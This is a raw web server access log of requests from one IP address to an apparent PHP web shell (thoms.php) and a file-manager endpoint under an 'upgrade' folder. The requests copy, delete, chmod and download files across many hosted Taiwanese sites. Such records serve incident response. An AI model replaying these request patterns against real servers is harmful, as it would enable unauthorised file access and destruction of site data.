45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fmah.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:20 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:21 -0400] "GET /ba-guo.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F&location=%2Fhome%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fsetting-checkpoint&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F&option=folder HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F&option=file HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F&location=%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F%2F.017113718435786.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fba-guo.com.tw%2Fupgrade%2F HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 12414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?copy=bossini.com.tw&p= HTTP/1.1" 200 12418 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?copy=wordpress-6.6-20260912023539&p= HTTP/1.1" 200 12378 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?del=mah.php&p= HTTP/1.1" 200 22637 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20737 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 22635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?p=bossini.com.tw HTTP/1.1" 200 20965 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?del=error_log-20260912023633.&p= HTTP/1.1" 200 22647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16551 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?p= HTTP/1.1" 200 22665 "https://163.245.207.76/ba-guo.com.tw/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?del=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:22 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?dl=error_log-20260912023633.&p= HTTP/1.1" 200 22645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:23 -0400] "GET /ba-guo.com.tw/thoms.php?chmod=thoms-20260912023711.php&p= HTTP/1.1" 200 11449 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
